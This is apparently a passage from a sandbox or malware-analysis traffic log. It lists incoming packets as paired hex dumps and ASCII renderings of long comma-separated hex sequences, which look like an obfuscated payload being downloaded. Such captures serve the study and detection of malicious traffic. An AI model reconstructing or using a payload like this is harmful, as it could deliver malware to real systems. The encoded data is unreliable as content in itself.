2023-04-20 23:05:18 UTC	16141	IN	Data Raw: 39 2c 39 39 2c 34 65 2c 31 31 32 2c 62 33 2c 64 66 2c 31 36 32 2c 62 64 2c 64 31 2c 31 32 32 2c 65 64 2c 39 65 2c 63 61 2c 37 37 2c 38 39 2c 62 61 2c 63 34 2c 66 30 2c 31 32 35 2c 38 31 2c 61 61 2c 39 64 2c 31 30 36 2c 38 61 2c 36 32 2c 63 34 2c 31 33 33 2c 31 36 34 2c 31 33 62 2c 36 35 2c 64 36 2c 66 62 2c 38 36 2c 64 33 2c 31 32 61 2c 37 62 2c 64 61 2c 63 61 2c 37 63 2c 38 30 2c 61 30 2c 65 64 2c 66 30 2c 31 32 65 2c 31 31 64 2c 31 36 61 2c 31 30 36 2c 66 34 2c 61 36 2c 65 30 2c 37 62 2c 34 63 2c 31 30 35 2c 31 33 35 2c 65 36 2c 38 36 2c 63 34 2c 36 66 2c 31 34 31 2c 65 35 2c 63 30 2c 39 65 2c 39 31 2c 39 63 2c 64 34 2c 61 33 2c 36 61 2c 38 31 2c 31 36 31 2c 66 30 2c 31 30 35 2c 31 32 37 2c 31 30 32 2c 62 61 2c 36 32 2c 64 66 2c 31 34 31 2c 31 34 62 2c Data Ascii: 9,99,4e,112,b3,df,162,bd,d1,122,ed,9e,ca,77,89,ba,c4,f0,125,81,aa,9d,106,8a,62,c4,133,164,13b,65,d6,fb,86,d3,12a,7b,da,ca,7c,80,a0,ed,f0,12e,11d,16a,106,f4,a6,e0,7b,4c,105,135,e6,86,c4,6f,141,e5,c0,9e,91,9c,d4,a3,6a,81,161,f0,105,127,102,ba,62,df,141,14b,
2023-04-20 23:05:18 UTC	16157	IN	Data Raw: 36 34 2c 66 65 2c 37 65 2c 31 32 34 2c 63 31 2c 63 64 2c 65 37 2c 61 36 2c 39 36 2c 35 66 2c 31 31 31 2c 31 33 35 2c 66 37 2c 34 39 2c 66 66 2c 65 33 2c 35 35 2c 38 38 2c 66 35 2c 31 33 66 2c 31 34 35 2c 62 35 2c 37 66 2c 35 65 2c 31 30 35 2c 31 31 61 2c 31 31 37 2c 31 33 33 2c 31 32 34 2c 35 35 2c 66 30 2c 38 63 2c 63 33 2c 39 36 2c 31 36 36 2c 31 35 63 2c 63 31 2c 65 66 2c 31 31 66 2c 66 31 2c 66 36 2c 35 37 2c 62 66 2c 31 34 34 2c 66 65 2c 31 31 63 2c 61 31 2c 65 63 2c 31 32 36 2c 36 36 2c 63 64 2c 65 64 2c 64 61 2c 65 66 2c 35 34 2c 39 63 2c 64 36 2c 31 34 31 2c 62 62 2c 38 32 2c 39 34 2c 31 34 35 2c 65 61 2c 31 32 66 2c 64 63 2c 35 36 2c 31 30 31 2c 36 62 2c 31 31 30 2c 34 63 2c 31 32 36 2c 31 35 35 2c 65 30 2c 35 65 2c 62 38 2c 31 34 61 2c 66 30 2c Data Ascii: 64,fe,7e,124,c1,cd,e7,a6,96,5f,111,135,f7,49,ff,e3,55,88,f5,13f,145,b5,7f,5e,105,11a,117,133,124,55,f0,8c,c3,96,166,15c,c1,ef,11f,f1,f6,57,bf,144,fe,11c,a1,ec,126,66,cd,ed,da,ef,54,9c,d6,141,bb,82,94,145,ea,12f,dc,56,101,6b,110,4c,126,155,e0,5e,b8,14a,f0,
2023-04-20 23:05:18 UTC	16173	IN	Data Raw: 61 2c 38 66 2c 37 35 2c 31 31 61 2c 31 32 33 2c 31 31 38 2c 64 36 2c 62 35 2c 34 61 2c 39 63 2c 37 30 2c 61 33 2c 65 64 2c 35 65 2c 31 36 66 2c 38 62 2c 31 33 31 2c 38 63 2c 31 35 31 2c 64 34 2c 31 31 31 2c 65 61 2c 38 65 2c 39 37 2c 37 62 2c 62 65 2c 63 62 2c 66 36 2c 31 35 31 2c 31 30 63 2c 31 32 36 2c 31 32 61 2c 63 38 2c 35 30 2c 36 65 2c 63 36 2c 36 65 2c 66 31 2c 31 34 33 2c 38 30 2c 34 64 2c 64 66 2c 31 35 39 2c 63 66 2c 61 33 2c 62 31 2c 66 63 2c 38 61 2c 61 39 2c 39 64 2c 31 31 38 2c 31 30 31 2c 31 32 33 2c 65 66 2c 31 30 62 2c 38 32 2c 31 32 66 2c 62 62 2c 31 31 36 2c 31 32 33 2c 31 34 64 2c 31 37 33 2c 35 38 2c 31 30 62 2c 31 30 65 2c 38 32 2c 35 62 2c 61 38 2c 64 32 2c 31 34 31 2c 31 35 66 2c 38 34 2c 39 39 2c 31 30 36 2c 39 35 2c 37 34 2c 63 Data Ascii: a,8f,75,11a,123,118,d6,b5,4a,9c,70,a3,ed,5e,16f,8b,131,8c,151,d4,111,ea,8e,97,7b,be,cb,f6,151,10c,126,12a,c8,50,6e,c6,6e,f1,143,80,4d,df,159,cf,a3,b1,fc,8a,a9,9d,118,101,123,ef,10b,82,12f,bb,116,123,14d,173,58,10b,10e,82,5b,a8,d2,141,15f,84,99,106,95,74,c
2023-04-20 23:05:18 UTC	16189	IN	Data Raw: 2c 38 64 2c 36 34 2c 33 63 2c 35 37 2c 35 32 2c 63 66 2c 65 38 2c 63 35 2c 31 33 38 2c 31 31 35 2c 31 35 31 2c 31 32 66 2c 64 63 2c 35 33 2c 31 33 38 2c 66 38 2c 38 65 2c 36 64 2c 66 32 2c 63 66 2c 31 32 33 2c 35 63 2c 61 39 2c 38 37 2c 31 31 35 2c 38 64 2c 31 30 31 2c 66 36 2c 66 61 2c 64 61 2c 61 61 2c 61 63 2c 65 30 2c 37 37 2c 64 38 2c 31 32 32 2c 64 32 2c 31 34 33 2c 31 36 31 2c 62 61 2c 31 31 31 2c 63 38 2c 31 33 34 2c 31 30 63 2c 64 66 2c 31 34 65 2c 31 33 34 2c 39 39 2c 65 33 2c 64 65 2c 36 63 2c 31 36 38 2c 64 65 2c 61 61 2c 31 32 34 2c 31 34 32 2c 62 33 2c 31 32 62 2c 33 65 2c 61 66 2c 38 39 2c 31 34 39 2c 61 33 2c 66 64 2c 38 34 2c 31 31 63 2c 38 66 2c 66 62 2c 36 37 2c 37 65 2c 64 65 2c 64 35 2c 66 34 2c 63 35 2c 31 35 36 2c 31 30 32 2c 37 38 Data Ascii: ,8d,64,3c,57,52,cf,e8,c5,138,115,151,12f,dc,53,138,f8,8e,6d,f2,cf,123,5c,a9,87,115,8d,101,f6,fa,da,aa,ac,e0,77,d8,122,d2,143,161,ba,111,c8,134,10c,df,14e,134,99,e3,de,6c,168,de,aa,124,142,b3,12b,3e,af,89,149,a3,fd,84,11c,8f,fb,67,7e,de,d5,f4,c5,156,102,78
2023-04-20 23:05:18 UTC	16205	IN	Data Raw: 38 2c 63 63 2c 31 33 61 2c 39 63 2c 31 34 30 2c 31 31 63 2c 65 34 2c 31 33 36 2c 38 32 2c 38 64 2c 31 36 34 2c 61 30 2c 31 34 39 2c 31 31 64 2c 37 37 2c 64 63 2c 65 31 2c 37 37 2c 31 35 34 2c 37 35 2c 63 33 2c 63 34 2c 37 63 2c 65 34 2c 65 31 2c 31 31 33 2c 63 37 2c 62 33 2c 39 34 2c 31 32 31 2c 36 37 2c 31 32 33 2c 31 30 37 2c 37 63 2c 36 36 2c 64 30 2c 62 33 2c 64 31 2c 39 31 2c 65 33 2c 37 65 2c 31 34 34 2c 39 66 2c 31 31 34 2c 38 32 2c 31 32 36 2c 31 30 36 2c 62 36 2c 37 32 2c 31 31 38 2c 38 32 2c 64 32 2c 31 30 64 2c 62 35 2c 38 31 2c 39 39 2c 37 32 2c 65 38 2c 64 63 2c 31 33 63 2c 61 35 2c 31 36 32 2c 31 32 37 2c 64 65 2c 31 33 38 2c 37 37 2c 31 34 61 2c 31 32 36 2c 62 35 2c 66 36 2c 61 39 2c 62 66 2c 66 63 2c 39 65 2c 31 33 37 2c 64 64 2c 31 34 64 Data Ascii: 8,cc,13a,9c,140,11c,e4,136,82,8d,164,a0,149,11d,77,dc,e1,77,154,75,c3,c4,7c,e4,e1,113,c7,b3,94,121,67,123,107,7c,66,d0,b3,d1,91,e3,7e,144,9f,114,82,126,106,b6,72,118,82,d2,10d,b5,81,99,72,e8,dc,13c,a5,162,127,de,138,77,14a,126,b5,f6,a9,bf,fc,9e,137,dd,14d
2023-04-20 23:05:18 UTC	16221	IN	Data Raw: 65 36 2c 63 38 2c 35 38 2c 31 33 64 2c 38 65 2c 31 33 33 2c 66 34 2c 31 31 66 2c 66 63 2c 63 65 2c 66 39 2c 39 38 2c 35 36 2c 31 32 33 2c 31 31 39 2c 65 62 2c 34 66 2c 34 30 2c 61 34 2c 62 64 2c 37 65 2c 65 62 2c 39 61 2c 64 62 2c 66 35 2c 62 38 2c 39 36 2c 65 64 2c 62 63 2c 62 36 2c 37 38 2c 65 62 2c 31 32 61 2c 37 31 2c 64 37 2c 66 65 2c 31 30 35 2c 31 33 32 2c 62 32 2c 61 65 2c 63 32 2c 64 63 2c 31 35 39 2c 31 32 32 2c 64 30 2c 63 33 2c 31 31 37 2c 31 30 64 2c 35 66 2c 38 35 2c 37 65 2c 31 31 62 2c 65 39 2c 31 32 32 2c 66 34 2c 31 35 30 2c 31 33 39 2c 61 38 2c 63 66 2c 31 30 31 2c 37 39 2c 62 66 2c 35 65 2c 36 31 2c 38 66 2c 31 32 63 2c 31 35 32 2c 66 61 2c 66 66 2c 37 63 2c 31 31 31 2c 31 34 37 2c 63 37 2c 31 30 31 2c 62 66 2c 64 34 2c 31 31 61 2c 64 Data Ascii: e6,c8,58,13d,8e,133,f4,11f,fc,ce,f9,98,56,123,119,eb,4f,40,a4,bd,7e,eb,9a,db,f5,b8,96,ed,bc,b6,78,eb,12a,71,d7,fe,105,132,b2,ae,c2,dc,159,122,d0,c3,117,10d,5f,85,7e,11b,e9,122,f4,150,139,a8,cf,101,79,bf,5e,61,8f,12c,152,fa,ff,7c,111,147,c7,101,bf,d4,11a,d
2023-04-20 23:05:18 UTC	16237	IN	Data Raw: 2c 61 37 2c 65 31 2c 31 30 61 2c 66 38 2c 37 35 2c 31 31 62 2c 66 63 2c 31 33 30 2c 39 37 2c 66 61 2c 39 38 2c 31 31 65 2c 61 30 2c 37 37 2c 31 30 32 2c 31 33 32 2c 36 36 2c 63 35 2c 31 30 37 2c 31 34 61 2c 62 38 2c 63 33 2c 31 37 34 2c 37 64 2c 36 34 2c 31 31 38 2c 38 35 2c 31 32 33 2c 31 35 35 2c 37 31 2c 37 61 2c 39 31 2c 39 66 2c 64 64 2c 61 33 2c 31 35 34 2c 31 35 34 2c 31 33 64 2c 36 30 2c 65 30 2c 37 61 2c 61 34 2c 31 33 65 2c 61 66 2c 65 34 2c 65 64 2c 38 34 2c 63 30 2c 35 62 2c 31 35 30 2c 31 34 35 2c 39 65 2c 31 34 62 2c 65 30 2c 31 35 30 2c 61 30 2c 64 38 2c 37 63 2c 35 31 2c 39 63 2c 31 34 36 2c 31 33 30 2c 62 62 2c 31 36 32 2c 35 31 2c 66 37 2c 37 32 2c 31 33 36 2c 31 31 64 2c 31 33 61 2c 31 33 36 2c 31 30 36 2c 39 62 2c 39 30 2c 31 34 65 2c Data Ascii: ,a7,e1,10a,f8,75,11b,fc,130,97,fa,98,11e,a0,77,102,132,66,c5,107,14a,b8,c3,174,7d,64,118,85,123,155,71,7a,91,9f,dd,a3,154,154,13d,60,e0,7a,a4,13e,af,e4,ed,84,c0,5b,150,145,9e,14b,e0,150,a0,d8,7c,51,9c,146,130,bb,162,51,f7,72,136,11d,13a,136,106,9b,90,14e,
2023-04-20 23:05:18 UTC	16253	IN	Data Raw: 66 2c 31 33 66 2c 37 34 2c 31 31 65 2c 36 66 2c 33 63 2c 64 35 2c 62 39 2c 36 30 2c 63 64 2c 38 61 2c 31 30 39 2c 63 31 2c 31 31 32 2c 37 64 2c 34 37 2c 31 31 66 2c 31 32 64 2c 31 32 62 2c 66 34 2c 31 30 65 2c 65 37 2c 31 33 32 2c 65 62 2c 63 62 2c 31 33 61 2c 38 34 2c 31 35 61 2c 37 33 2c 35 66 2c 31 33 66 2c 65 36 2c 63 65 2c 31 35 36 2c 36 62 2c 62 34 2c 38 65 2c 66 66 2c 31 34 38 2c 39 31 2c 36 31 2c 31 33 39 2c 36 36 2c 31 34 32 2c 36 36 2c 62 36 2c 62 38 2c 61 62 2c 35 30 2c 66 64 2c 31 32 31 2c 31 34 35 2c 62 36 2c 38 36 2c 31 34 37 2c 35 65 2c 63 61 2c 61 38 2c 66 30 2c 31 30 62 2c 31 33 66 2c 64 62 2c 31 31 32 2c 35 38 2c 62 33 2c 37 64 2c 65 33 2c 31 31 37 2c 66 33 2c 64 35 2c 62 64 2c 37 62 2c 31 35 30 2c 39 38 2c 64 37 2c 37 31 2c 37 38 2c 66 Data Ascii: f,13f,74,11e,6f,3c,d5,b9,60,cd,8a,109,c1,112,7d,47,11f,12d,12b,f4,10e,e7,132,eb,cb,13a,84,15a,73,5f,13f,e6,ce,156,6b,b4,8e,ff,148,91,61,139,66,142,66,b6,b8,ab,50,fd,121,145,b6,86,147,5e,ca,a8,f0,10b,13f,db,112,58,b3,7d,e3,117,f3,d5,bd,7b,150,98,d7,71,78,f
2023-04-20 23:05:18 UTC	16269	IN	Data Raw: 36 31 2c 63 30 2c 31 32 65 2c 31 33 33 2c 61 62 2c 65 65 2c 31 32 38 2c 31 32 33 2c 37 64 2c 39 37 2c 31 33 65 2c 61 32 2c 39 39 2c 63 34 2c 61 62 2c 38 63 2c 61 34 2c 31 34 36 2c 66 33 2c 31 30 36 2c 31 30 64 2c 65 37 2c 61 65 2c 38 35 2c 61 62 2c 63 63 2c 64 34 2c 62 66 2c 31 34 35 2c 31 33 39 2c 31 31 30 2c 31 34 37 2c 31 32 63 2c 38 64 2c 63 31 2c 31 35 66 2c 31 34 36 2c 37 34 2c 31 30 33 2c 38 33 2c 31 35 66 2c 64 65 2c 65 37 2c 31 31 64 2c 65 31 2c 38 66 2c 64 32 2c 31 33 35 2c 31 30 63 2c 64 62 2c 31 35 61 2c 36 31 2c 65 34 2c 36 66 2c 66 35 2c 64 31 2c 35 37 2c 31 34 34 2c 31 33 31 2c 63 66 2c 31 32 34 2c 31 31 39 2c 31 31 38 2c 31 30 31 2c 31 33 61 2c 31 30 38 2c 31 32 61 2c 31 31 33 2c 65 35 2c 31 32 63 2c 31 33 61 2c 37 31 2c 62 62 2c 31 31 30 Data Ascii: 61,c0,12e,133,ab,ee,128,123,7d,97,13e,a2,99,c4,ab,8c,a4,146,f3,106,10d,e7,ae,85,ab,cc,d4,bf,145,139,110,147,12c,8d,c1,15f,146,74,103,83,15f,de,e7,11d,e1,8f,d2,135,10c,db,15a,61,e4,6f,f5,d1,57,144,131,cf,124,119,118,101,13a,108,12a,113,e5,12c,13a,71,bb,110
2023-04-20 23:05:18 UTC	16285	IN	Data Raw: 39 2c 61 37 2c 66 65 2c 62 65 2c 63 33 2c 35 61 2c 63 35 2c 31 30 38 2c 38 38 2c 64 62 2c 64 38 2c 63 64 2c 31 33 64 2c 31 34 62 2c 33 33 2c 35 62 2c 36 33 2c 31 35 64 2c 39 34 2c 39 35 2c 65 36 2c 31 36 61 2c 64 66 2c 65 61 2c 39 65 2c 64 39 2c 31 30 61 2c 65 32 2c 65 31 2c 35 66 2c 61 65 2c 38 62 2c 31 34 35 2c 38 66 2c 31 30 32 2c 34 38 2c 36 37 2c 31 31 66 2c 31 31 32 2c 35 65 2c 63 32 2c 31 30 39 2c 31 32 36 2c 33 62 2c 63 62 2c 31 32 64 2c 31 30 31 2c 62 38 2c 65 39 2c 61 62 2c 64 34 2c 39 63 2c 31 30 32 2c 61 33 2c 63 38 2c 64 62 2c 31 32 61 2c 31 31 32 2c 65 38 2c 31 33 37 2c 63 36 2c 65 30 2c 63 62 2c 39 39 2c 61 33 2c 31 30 31 2c 37 63 2c 65 63 2c 39 32 2c 31 32 61 2c 31 31 31 2c 31 31 33 2c 31 31 62 2c 65 31 2c 65 66 2c 31 32 31 2c 31 31 31 2c Data Ascii: 9,a7,fe,be,c3,5a,c5,108,88,db,d8,cd,13d,14b,33,5b,63,15d,94,95,e6,16a,df,ea,9e,d9,10a,e2,e1,5f,ae,8b,145,8f,102,48,67,11f,112,5e,c2,109,126,3b,cb,12d,101,b8,e9,ab,d4,9c,102,a3,c8,db,12a,112,e8,137,c6,e0,cb,99,a3,101,7c,ec,92,12a,111,113,11b,e1,ef,121,111,
2023-04-20 23:05:18 UTC	16301	IN	Data Raw: 65 2c 64 32 2c 36 31 2c 37 37 2c 66 39 2c 31 35 32 2c 31 36 32 2c 63 31 2c 38 33 2c 38 63 2c 63 63 2c 31 33 63 2c 66 38 2c 31 30 65 2c 31 30 66 2c 61 35 2c 31 34 65 2c 34 61 2c 38 62 2c 31 37 38 2c 36 65 2c 31 33 62 2c 66 34 2c 31 32 37 2c 36 37 2c 61 30 2c 36 63 2c 36 66 2c 66 64 2c 31 32 61 2c 38 31 2c 34 62 2c 61 63 2c 64 38 2c 35 36 2c 64 35 2c 66 64 2c 64 35 2c 31 34 32 2c 61 30 2c 36 61 2c 39 35 2c 66 64 2c 31 36 63 2c 31 33 66 2c 36 33 2c 34 64 2c 33 34 2c 65 30 2c 31 31 31 2c 38 33 2c 31 34 32 2c 31 35 38 2c 64 32 2c 63 34 2c 38 34 2c 31 32 65 2c 63 64 2c 62 66 2c 62 34 2c 31 36 39 2c 31 32 32 2c 35 61 2c 64 34 2c 36 65 2c 31 31 34 2c 65 33 2c 31 31 66 2c 63 63 2c 31 31 30 2c 38 65 2c 62 63 2c 36 63 2c 62 62 2c 31 35 35 2c 31 32 37 2c 38 37 2c 36 Data Ascii: e,d2,61,77,f9,152,162,c1,83,8c,cc,13c,f8,10e,10f,a5,14e,4a,8b,178,6e,13b,f4,127,67,a0,6c,6f,fd,12a,81,4b,ac,d8,56,d5,fd,d5,142,a0,6a,95,fd,16c,13f,63,4d,34,e0,111,83,142,158,d2,c4,84,12e,cd,bf,b4,169,122,5a,d4,6e,114,e3,11f,cc,110,8e,bc,6c,bb,155,127,87,6
2023-04-20 23:05:18 UTC	16317	IN	Data Raw: 66 64 2c 31 34 31 2c 39 61 2c 66 63 2c 31 36 33 2c 31 31 33 2c 37 62 2c 39 35 2c 63 33 2c 31 34 36 2c 66 32 2c 31 33 38 2c 31 34 31 2c 66 36 2c 39 30 2c 31 31 34 2c 31 31 36 2c 62 34 2c 31 31 33 2c 65 39 2c 31 30 65 2c 31 36 64 2c 63 61 2c 37 37 2c 31 33 36 2c 31 32 32 2c 31 31 61 2c 31 32 62 2c 39 38 2c 64 39 2c 31 35 64 2c 61 30 2c 64 32 2c 31 33 34 2c 31 31 62 2c 63 38 2c 31 32 39 2c 35 38 2c 61 39 2c 31 32 32 2c 38 37 2c 66 63 2c 31 33 30 2c 66 39 2c 66 38 2c 38 31 2c 63 31 2c 61 34 2c 31 34 35 2c 61 64 2c 66 36 2c 66 31 2c 37 32 2c 31 31 39 2c 31 32 62 2c 31 30 34 2c 35 61 2c 61 39 2c 61 33 2c 65 30 2c 38 32 2c 31 30 31 2c 31 31 62 2c 39 63 2c 31 33 65 2c 31 34 64 2c 37 66 2c 66 66 2c 37 31 2c 38 66 2c 35 64 2c 31 30 61 2c 64 66 2c 31 31 30 2c 31 30 Data Ascii: fd,141,9a,fc,163,113,7b,95,c3,146,f2,138,141,f6,90,114,116,b4,113,e9,10e,16d,ca,77,136,122,11a,12b,98,d9,15d,a0,d2,134,11b,c8,129,58,a9,122,87,fc,130,f9,f8,81,c1,a4,145,ad,f6,f1,72,119,12b,104,5a,a9,a3,e0,82,101,11b,9c,13e,14d,7f,ff,71,8f,5d,10a,df,110,10
2023-04-20 23:05:19 UTC	16333	IN	Data Raw: 62 31 2c 31 32 30 2c 36 62 2c 31 32 39 2c 39 33 2c 64 37 2c 35 39 2c 61 38 2c 39 38 2c 31 30 33 2c 38 61 2c 31 30 38 2c 37 35 2c 35 36 2c 31 30 63 2c 65 36 2c 31 31 62 2c 65 38 2c 66 66 2c 31 33 38 2c 31 30 35 2c 31 35 31 2c 66 35 2c 33 34 2c 65 66 2c 63 35 2c 31 30 65 2c 37 39 2c 37 35 2c 39 33 2c 31 32 31 2c 31 30 36 2c 39 32 2c 35 37 2c 36 66 2c 66 39 2c 65 38 2c 38 39 2c 62 32 2c 61 62 2c 63 65 2c 64 32 2c 66 65 2c 61 63 2c 31 32 62 2c 31 31 33 2c 37 31 2c 66 35 2c 31 34 65 2c 31 35 61 2c 66 66 2c 31 35 65 2c 34 35 2c 66 30 2c 37 35 2c 34 39 2c 66 63 2c 31 32 34 2c 38 33 2c 37 38 2c 66 35 2c 63 32 2c 38 37 2c 31 32 63 2c 31 33 30 2c 31 34 61 2c 31 35 62 2c 37 30 2c 66 61 2c 31 32 63 2c 37 36 2c 31 31 36 2c 31 32 32 2c 61 65 2c 63 37 2c 64 36 2c 31 33 Data Ascii: b1,120,6b,129,93,d7,59,a8,98,103,8a,108,75,56,10c,e6,11b,e8,ff,138,105,151,f5,34,ef,c5,10e,79,75,93,121,106,92,57,6f,f9,e8,89,b2,ab,ce,d2,fe,ac,12b,113,71,f5,14e,15a,ff,15e,45,f0,75,49,fc,124,83,78,f5,c2,87,12c,130,14a,15b,70,fa,12c,76,116,122,ae,c7,d6,13
2023-04-20 23:05:19 UTC	16349	IN	Data Raw: 2c 31 34 66 2c 31 30 39 2c 31 32 34 2c 63 63 2c 31 31 39 2c 64 63 2c 64 34 2c 31 30 63 2c 31 32 39 2c 31 31 39 2c 37 63 2c 37 62 2c 31 32 30 2c 39 61 2c 37 31 2c 62 35 2c 63 61 2c 38 35 2c 31 30 32 2c 31 30 31 2c 66 37 2c 36 33 2c 31 36 38 2c 63 38 2c 64 62 2c 31 35 35 2c 36 31 2c 34 37 2c 35 62 2c 61 39 2c 37 33 2c 31 33 39 2c 39 38 2c 31 34 32 2c 64 30 2c 66 64 2c 63 34 2c 31 31 37 2c 38 66 2c 31 30 64 2c 31 32 34 2c 31 32 66 2c 36 35 2c 38 61 2c 62 33 2c 61 32 2c 31 30 63 2c 39 62 2c 62 64 2c 63 66 2c 31 34 65 2c 36 62 2c 36 36 2c 36 38 2c 31 33 37 2c 66 37 2c 64 37 2c 39 66 2c 35 32 2c 31 31 65 2c 66 65 2c 64 35 2c 31 30 36 2c 31 32 39 2c 31 32 63 2c 31 34 30 2c 31 32 61 2c 62 62 2c 31 35 34 2c 31 30 37 2c 36 37 2c 62 63 2c 65 61 2c 63 64 2c 63 37 2c Data Ascii: ,14f,109,124,cc,119,dc,d4,10c,129,119,7c,7b,120,9a,71,b5,ca,85,102,101,f7,63,168,c8,db,155,61,47,5b,a9,73,139,98,142,d0,fd,c4,117,8f,10d,124,12f,65,8a,b3,a2,10c,9b,bd,cf,14e,6b,66,68,137,f7,d7,9f,52,11e,fe,d5,106,129,12c,140,12a,bb,154,107,67,bc,ea,cd,c7,
2023-04-20 23:05:19 UTC	16365	IN	Data Raw: 2c 34 39 2c 66 35 2c 31 36 35 2c 61 30 2c 66 62 2c 65 63 2c 31 34 34 2c 31 31 63 2c 31 33 64 2c 65 62 2c 31 36 31 2c 31 31 64 2c 65 32 2c 38 64 2c 64 39 2c 64 65 2c 38 39 2c 63 36 2c 31 31 66 2c 31 30 34 2c 31 36 34 2c 39 31 2c 31 34 33 2c 31 32 63 2c 31 32 39 2c 38 37 2c 31 32 61 2c 31 32 30 2c 31 31 36 2c 64 66 2c 31 31 65 2c 65 64 2c 34 33 2c 39 38 2c 31 31 39 2c 31 30 62 2c 36 65 2c 31 32 66 2c 64 30 2c 31 33 38 2c 35 38 2c 64 66 2c 31 32 33 2c 38 65 2c 65 31 2c 31 35 30 2c 38 32 2c 31 35 63 2c 31 31 30 2c 63 63 2c 31 30 39 2c 31 30 36 2c 39 31 2c 39 36 2c 36 36 2c 31 34 65 2c 39 30 2c 31 32 33 2c 39 36 2c 38 36 2c 31 32 33 2c 31 35 30 2c 36 62 2c 31 33 61 2c 31 30 35 2c 31 31 36 2c 31 33 39 2c 31 32 36 2c 63 34 2c 31 30 63 2c 31 36 30 2c 39 39 2c 31 Data Ascii: ,49,f5,165,a0,fb,ec,144,11c,13d,eb,161,11d,e2,8d,d9,de,89,c6,11f,104,164,91,143,12c,129,87,12a,120,116,df,11e,ed,43,98,119,10b,6e,12f,d0,138,58,df,123,8e,e1,150,82,15c,110,cc,109,106,91,96,66,14e,90,123,96,86,123,150,6b,13a,105,116,139,126,c4,10c,160,99,1
2023-04-20 23:05:19 UTC	16381	IN	Data Raw: 2c 61 38 2c 39 63 2c 31 30 38 2c 63 64 2c 37 31 2c 31 33 31 2c 39 30 2c 31 31 36 2c 37 66 2c 63 36 2c 31 32 63 2c 63 63 2c 36 62 2c 63 30 2c 64 63 2c 31 30 31 2c 65 61 2c 65 66 2c 31 33 30 2c 31 34 63 2c 62 37 2c 31 31 32 2c 31 31 33 2c 39 66 2c 62 36 2c 66 64 2c 39 37 2c 35 66 2c 38 30 2c 62 34 2c 63 36 2c 61 30 2c 31 31 34 2c 61 66 2c 31 30 34 2c 37 34 2c 63 30 2c 37 64 2c 31 31 30 2c 31 32 34 2c 36 65 2c 31 36 30 2c 65 37 2c 31 33 62 2c 31 30 33 2c 39 34 2c 63 36 2c 31 33 37 2c 66 33 2c 64 61 2c 39 31 2c 39 37 2c 65 36 2c 63 63 2c 31 31 61 2c 38 66 2c 36 65 2c 36 37 2c 37 33 2c 31 30 33 2c 66 31 2c 63 62 2c 38 61 2c 61 65 2c 31 31 61 2c 61 36 2c 37 30 2c 64 64 2c 66 66 2c 39 61 2c 31 30 32 2c 35 62 2c 39 34 2c 31 30 38 2c 31 30 36 2c 31 30 65 2c 61 30 Data Ascii: ,a8,9c,108,cd,71,131,90,116,7f,c6,12c,cc,6b,c0,dc,101,ea,ef,130,14c,b7,112,113,9f,b6,fd,97,5f,80,b4,c6,a0,114,af,104,74,c0,7d,110,124,6e,160,e7,13b,103,94,c6,137,f3,da,91,97,e6,cc,11a,8f,6e,67,73,103,f1,cb,8a,ae,11a,a6,70,dd,ff,9a,102,5b,94,108,106,10e,a0
2023-04-20 23:05:19 UTC	16397	IN	Data Raw: 65 34 2c 33 35 2c 62 61 2c 61 37 2c 38 30 2c 66 34 2c 66 34 2c 65 32 2c 33 38 2c 61 33 2c 65 65 2c 38 39 2c 39 32 2c 31 32 61 2c 37 36 2c 31 31 66 2c 31 33 30 2c 63 34 2c 31 32 34 2c 37 38 2c 66 35 2c 64 63 2c 61 36 2c 31 36 34 2c 37 65 2c 65 30 2c 36 32 2c 31 30 36 2c 31 37 30 2c 31 35 66 2c 38 62 2c 31 31 63 2c 31 33 39 2c 61 33 2c 35 36 2c 31 30 65 2c 31 33 64 2c 31 34 62 2c 31 31 32 2c 31 36 35 2c 39 32 2c 31 31 66 2c 38 35 2c 64 61 2c 65 30 2c 36 37 2c 63 30 2c 31 33 32 2c 31 33 38 2c 39 37 2c 39 31 2c 31 30 63 2c 37 34 2c 66 38 2c 65 65 2c 38 65 2c 31 35 34 2c 31 30 32 2c 63 31 2c 31 32 37 2c 61 33 2c 31 33 31 2c 31 34 37 2c 61 30 2c 31 31 34 2c 64 30 2c 66 36 2c 61 39 2c 38 62 2c 66 38 2c 31 30 31 2c 31 34 33 2c 66 61 2c 66 65 2c 62 65 2c 36 66 2c Data Ascii: e4,35,ba,a7,80,f4,f4,e2,38,a3,ee,89,92,12a,76,11f,130,c4,124,78,f5,dc,a6,164,7e,e0,62,106,170,15f,8b,11c,139,a3,56,10e,13d,14b,112,165,92,11f,85,da,e0,67,c0,132,138,97,91,10c,74,f8,ee,8e,154,102,c1,127,a3,131,147,a0,114,d0,f6,a9,8b,f8,101,143,fa,fe,be,6f,
2023-04-20 23:05:19 UTC	16413	IN	Data Raw: 2c 36 31 2c 31 34 34 2c 31 37 31 2c 64 61 2c 63 31 2c 31 30 35 2c 39 35 2c 63 30 2c 65 33 2c 31 34 36 2c 31 32 64 2c 63 63 2c 63 38 2c 64 37 2c 65 32 2c 64 66 2c 31 30 36 2c 65 63 2c 38 34 2c 64 32 2c 36 63 2c 35 32 2c 39 38 2c 63 36 2c 65 31 2c 38 30 2c 39 61 2c 31 34 61 2c 63 61 2c 65 65 2c 36 37 2c 38 37 2c 35 64 2c 31 33 61 2c 65 38 2c 31 34 30 2c 66 34 2c 61 36 2c 31 32 61 2c 65 39 2c 39 32 2c 66 38 2c 31 34 31 2c 38 65 2c 66 36 2c 66 63 2c 31 34 38 2c 31 31 38 2c 38 66 2c 65 30 2c 31 34 62 2c 31 30 36 2c 31 31 63 2c 32 65 2c 39 32 2c 62 33 2c 31 31 64 2c 31 33 32 2c 31 32 36 2c 31 32 65 2c 37 39 2c 31 35 65 2c 61 37 2c 39 37 2c 36 38 2c 35 36 2c 31 35 31 2c 61 33 2c 31 32 66 2c 66 62 2c 31 33 63 2c 66 36 2c 63 32 2c 35 64 2c 31 35 33 2c 63 35 2c 31 Data Ascii: ,61,144,171,da,c1,105,95,c0,e3,146,12d,cc,c8,d7,e2,df,106,ec,84,d2,6c,52,98,c6,e1,80,9a,14a,ca,ee,67,87,5d,13a,e8,140,f4,a6,12a,e9,92,f8,141,8e,f6,fc,148,118,8f,e0,14b,106,11c,2e,92,b3,11d,132,126,12e,79,15e,a7,97,68,56,151,a3,12f,fb,13c,f6,c2,5d,153,c5,1
